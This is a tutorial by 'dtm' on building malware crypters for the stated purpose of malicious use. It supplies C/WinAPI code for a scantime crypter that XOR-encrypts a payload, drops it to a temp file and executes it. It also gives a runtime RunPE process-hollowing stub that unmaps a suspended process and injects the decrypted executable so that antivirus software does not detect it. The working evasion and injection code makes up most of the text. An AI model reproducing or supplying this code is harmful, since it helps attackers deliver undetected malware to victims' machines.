Welcome, to a guide on crypters and their technology. I’ve always thought and felt that crypters were a form of mysterious dark art in this hacking world, some sort of black magic, something that’s quite obscure in terms of being able to find information and do research. Of course, it has become very common in the hacking world, especially with the release of Veil-Evasion and Shellter in 2013 and 2014 respectively. In this write-up, I will be detailing the types of crypters and how they work on both the high level and then unraveling the lesser known magic on the lower code level. After reading this document, I hope you will all finally obtain some level of understanding on how these contraptions work and their position and roles in the computing world.
A slight disclaimer: Some of the material may not be suitable for beginners as they require a fair amount of knowledge with Windows internals.
Proficiency in C/C++
Knowledge of the WinAPI and its documentation
Knowledge of basic cryptology
Knowledge of the PE file structure
Knowledge of Windows (virtual) memory
Knowledge of Process and Threads.
Two Sides of Cryptography
When we describe cryptography, it usually includes something along the lines of “a means to obscure to prevent unwanted access to information”. Most of us see it as such, as a defensive mechanism with applications from securing secrets to perhaps even stopping malicious intent. Of course, we would expect this as it was invented for the sole purpose of denying any prying eyes from data however, as we will soon see, cryptography has evolved into something much more than that.
If we look beyond the conventional use of cryptography to protect against malicious intent, we can see the potential for protection with malicious intent, that is, designing malware which harnesses the advantages with which cryptography provides. These types of malware are already very prominent in the modern age, some popular examples include ransomware and asymmetric backdoors which mainly deal with public-key cryptography. For more information on this, please see Cryptovirology.
##Antivirus Mechanisms
To be able to design a protective measure against antivirus software, we must first identify the details what we are trying to defeat. I will briefly go over the two main methods which antivirus software employ to detect unwanted applications.
###Signature-based Detection
As the name implies, signature-based detection is a technique which cross-references and matches signatures of applications with a corresponding database of known malware. This is an effective measure at preventing and containing previous malware. Think of it like a vaccine for machines.
###Heuristic-based Detection
Although signature-based detection can prevent most previously known malware, it has its disadvantages as malware authors can apply a layer of protection against this approach such as polymorphic and/or metamorphic code. The heuristic-based detection attempts to monitor the behavior and characteristics of an application and reference it with known malicious behavior. Note that this can only occur if the application is running.
Of course, antivirus software is much, much more advanced than this. Since it is beyond my scope of this paper and my understanding I will not be covering that information.
##An Introduction to Crypters
For those who do not know what crypters are, they are software designed to protect the information within a file (usually some sort of executable format) and, on execution, be able to provide said information intact after extracting it with a decryption routine. Please note that while crypters can be used with malicious intent, it is also popular with obfuscating data in an effort to prevent reverse engineering. In this paper, we will focus on malicious usage. So how does this work? Let’s begin by identifying the aspects of crypters and seeing a graphical representation of their role.
The crypter is responsible for encrypting a target object.
+-------------+ +-----------+ +-------------------+ +--------+
| Your file | -> | Crypter | => | Encrypted file | + | Stub |
+-------------+ +-----------+ +-------------------+ +--------+
The stub is the sector of the encrypted object which provides the extraction and, sometimes, the execution of said object.
+------------------+ +--------+ +---------------+
| Encrypted file | + | Stub | = Execution => | Original File |
+------------------+ +--------+ +---------------+
Scantime Crypters
These types of crypters are known as scantime due to their capability of obscuring data on disk which is where antivirus software can run a scan on the file with signature-based detection, for example. In this stage, the antivirus software will never be able to detect any malicious activity provided that the applied obfuscation is robust.
Runtime Crypters
These crypters take it to the next level to deobfuscate the data on run in memory as it is required. By doing so, the antivirus will allow it to be loaded and executed before it is able to react to any malicious activity. In this stage, it is pretty much game over if an application is quick enough to administer its payload and complete its objective. It is entirely possible for the malware to trigger a heuristic-based detection from the antivirus software in the execution stage and so malware authors should be careful.
Now that we’ve covered the high level, let’s see an example implementation of both types.
##Coding a Scantime Crypter
The scantime crypter is the easier of the two since it does not require the knowledge of virtual memory and processes/threads. Essentially, the stub will deobfuscate the file, drop it onto disk somewhere and then execute it. The following documents a possible scantime crypter design.
Note: For the sake of cleanliness and readability, I will not be including error checks.
###Crypter and Stub Pseudocode
1. Check if there is a command line argument
+-> 2. If there is a command line argument, act as a crypter to crypt the file
| 3. Open the target file
| 4. Read file contents
| 5. Encrypt the file contents
| 6. Create a new file
| 7. Write the encrypted into the new file
| 8. Finish
|
+-> 2. If there is no command line argument, act as the stub
3. Open encrypted file
4. Read file contents
5. Decrypt the file contents
6. Create a temporary file
7. Write the decrypted into the temporary file
8. Execute the file
9. Finish
This design implements both the crypter and the stub in the same executable and we can do so because the two routines are pretty similar to each other. Let’s go through a possible design in code.
First, we will need to define main and the two conditions which define the execution as a crypter or a stub.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
Since we are defining the application as a window-based application, we cannot retrieve the argc
and argv
as we normally would in a console-based application but Microsoft has provided a solution to that with __argc
and __argv
. If the command line argument __argv[1]
exists, the application will attempt to crypt the specified file, else, it will try to decrypt an existing crypted file.
Moving onto the crypter routine, we’ll require the handle to the specified file of __argv[1]
and its size so we can copy its bytes into a buffer to crypt.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
// open file to crypt
HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get file size
DWORD dwFileSize = GetFileSize(hFile, NULL);
// crypt and get crypted bytes
LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
}
return EXIT_SUCCESS;
}
The Crypt
function will essentially read the file contents into a buffer and then crypt them and then return a pointer to the buffer with the encrypted bytes.
LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) {
// allocate buffer for file contents
LPVOID lpFileBytes = malloc(dwFileSize);
// read the file into the buffer
ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL);
// apply XOR encryption
int i;
for (i = 0; i < dwFileSize; i++) {
*((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)];
}
return lpFileBytes;
}
Now that we have the encrypted bytes, we will need to create a new file and then write these bytes into it.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
...
// get crypted file name in current directory
CHAR szCryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szCryptedFileName);
strcat(szCryptedFileName, "\\");
strcat(szCryptedFileName, CRYPTED_FILE);
// open handle to new crypted file
HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to crypted file
WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
CloseHandle(hCryptedFile);
free(lpFileBytes);
}
return EXIT_SUCCESS;
}
And that’s pretty much it for the crypter section. Note that we’ve used a simple XOR to encrypt the contents of the file which might not be enough if we have a small key. If we wanted to be more on the safe side, we can use other encryption schemes such as RC4 or (x)TEA. We do not require full-fledged unbroken cryptoalgorithms since the purpose is to avoid signature-based detection and would hence be complete overkill. Keep it small and simple.
Let’s continue onto the stub routine. For the stub, we want to retrieve the encrypted file in its current directory and then write the decrypted contents into a temporary file for execution.
We’ll begin by getting the current director, then opening the file and getting the file size.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
// get target encrypted file
CHAR szEncryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
strcat(szEncryptedFileName, "\\");
strcat(szEncryptedFileName, CRYPTED_FILE);
// get handle to file
HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get file size
DWORD dwFileSize = GetFileSize(hFile, NULL);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
Pretty much the same as the crypter routine. Next, we will read the file contents and get the decrypted bytes. Since the XOR operation restores values given a common bit, we can simply reuse the Crypt
function. After that, we will need to create a temporary file and write the decrypted bytes into it.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
...
// decrypt and obtain decrypted bytes
LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
CloseHandle(hFile);
// get file in temporary directory
CHAR szTempFileName[MAX_PATH];
GetTempPath(MAX_PATH, szTempFileName);
strcat(szTempFileName, DECRYPTED_FILE);
// open handle to temp file
HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to temporary file
WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
// clean up
CloseHandle(hTempFile);
free(lpFileBytes);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
Finally, we’ll need to execute the decrypted application.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
...
// execute file
ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
Do note that once the decrypted application has been written to disk, it will be completely exposed to antivirus software’s signature-based detection and is likely to catch most malware. Because of this, malware authors require something which will allow the execution of their application(s) without this flaw.
This concludes the scantime crypter.
Coding a Runtime Crypter
For the runtime crypter, I will only cover the stub since that includes the more complex material so we will assume the application has already been encrypted. A popular technique which these crypters use is called RunPE or Dynamic Forking/Process Hollowing. How this works is the stub will first decrypt an application’s encrypted bytes and then emulate the Windows loader by pushing them into the virtual memory space of a suspended process. Once that has been completed, the stub will resume the suspended process and finish.
Note: For the sake of cleanliness and readability, I will not be including error checks.
###Stub Pseudocode
1. Decrypt application
2. Create suspended process
3. Preserve process's thread context
4. Hollow out process's virtual memory space
5. Allocate virtual memory
6. Write application's header and sections into allocated memory
7. Set modified thread context
8. Resume process
9. Finish
As we can see, this requires quite a bit of knowledge of Windows internals, including the PE file structure, Windows memory manipulation and processes/threads. I would highly recommend the reader to cover these fundamentals to understand the following material.
Firstly, let’s set up two routines in main, one for decrypting the encrypted application and the other to load it into memory for execution.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
Decrypt();
RunPE();
return EXIT_SUCCESS;
}
The Decrypt
function will be entirely dependent on the encryption scheme used to encrypt the application but here is an example code using XOR.
VOID Decrypt(VOID) {
int i;
for (i = 0; i < sizeof(Shellcode); i++) {
Shellcode[i] ^= Key[i % sizeof(Key)];
}
}
Now that the application has been decrypted, let’s take a look at where the magic happens.
Here, we will verify that the application is a valid PE file by checking the DOS and PE signatures.
VOID RunPE(VOID) {
// check valid DOS signature
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode;
if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return;
// check valid PE signature
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew);
if (pinh->Signature != IMAGE_NT_SIGNATURE) return;
}
Now, we will create the suspended process.
VOID RunPE(VOID) {
...
// get own full file name
CHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
// initialize startup and process information
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
// required to set size of si.cb before use
si.cb = sizeof(si);
// create suspended process
CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
}
Note that szFileName
can be a full path to any executable file such as explorer.exe
or iexplore.exe
but for this example, we will be using the stub’s file. The CreateProcess
function will create a child process of the specified file in a suspended state so that we can modify its virtual memory contents to our needs. Once that has been achieved, we should obtain its thread context before changing anything.
VOID RunPE(VOID) {
...
// obtain thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.Thread, &ctx);
}
And now will hollow out an area of the process’s virtual memory so we can allocate our own space for the application. For this, we require a function which is not readily available to us so we will require a function pointer to point to a dynamically retrieved function from the ntdll.dll
DLL.
typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID);
VOID RunPE(VOID) {
...
// dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll
fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
// hollow process at virtual memory address 'pinh->OptionalHeader.ImageBase'
pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
// allocate virtual memory at address 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
Since the suspended process has its own content inside its virtual memory space, we are required to unmap it from memory and then allocate our own so that we have the correct access and permissions to load our application’s image. We will do this with the WriteProcessMemory
function. First, we need to write the headers and then each section individually as the Windows loader would. This section requires a thorough understanding of the PE file structure.
VOID RunPE(VOID) {
...
// write header
WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);
// write each section
int i;
for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
// calculate and get ith section
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
// write section data
WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
}
Now that everything is in place, we will simply modify the context’s address of entry point and then resume the suspended thread.
VOID RunPE(VOID) {
...
// set appropriate address of entry point
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// resume and execute our application
ResumeThread(pi.hThread);
}
Now, the application is running within memory and hopefully, antivirus software will not detect it as it unleashes itself.
##Conclusion
Hopefully, at least the high level and some low level concepts have been communicated well enough for the reader to understand. If some things are still completely incomprehensible, I would highly encourage self-research on the listed topics at the beginning of this paper. If some small things are a bit unclear, do not hesitate to ask. This was not targeted at a beginner-level audience.
Thank you for reading.
– dtm